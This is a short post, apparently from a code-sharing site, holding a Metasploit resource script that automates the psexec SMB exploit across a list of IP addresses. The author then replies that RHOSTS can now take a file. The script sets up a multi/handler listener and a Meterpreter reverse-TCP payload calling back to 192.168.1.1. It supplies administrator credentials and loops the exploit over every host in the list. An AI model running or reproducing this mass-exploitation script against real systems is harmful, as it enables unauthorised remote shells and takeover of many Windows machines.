do some exploit repeatedly

exploit_a_list.rb

# This is really a .rc file, but to get pretty colors, we're calling it a .rb file

#
# setup handler
#
use multi/handler
set LPORT 8080
set ExitOnSession false
exploit -j

#
# prep exploit
#
use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set DisablePayloadHandler true
set LPORT 8080
set LHOST 192.168.1.1
set SMBUser administrator
set SMBPass lab
# set SMBDomain -- let's assume the Domains are different, we'll them in our file

#
# read ip list then loop and run exploit on each
#
<ruby>
  # readlines will read the file into an array w/default line sep as the delim
  # readlines will also automatically close the File handle, so nothing to cleanup later
  line_array = File.readlines("/path/to/iplist.txt", "r")
  line_array.each do |line|
    ip, domain = line.split(',')
    run_single("set RHOST #{ip}")
    run_single("set SMBDomain #{domain}") if domain
    run_single("exploit -z")
    # in case the next iteration doesn't  have a domain listed
    run_single("unset SMBDomain")
  end
</ruby>

ausec, sorry I missed you on IRC. You can definitely replace the exploit w/an aux module, just add the appropriate settings and change run_single("exploit -z") to run_single("run -j") or whatever floats your boat. However, I believe this is entirely OBE cuz RHOSTS will take a file name now so just do:

set RHOSTS file:/path/to/hostlist
run # or run -j etc etc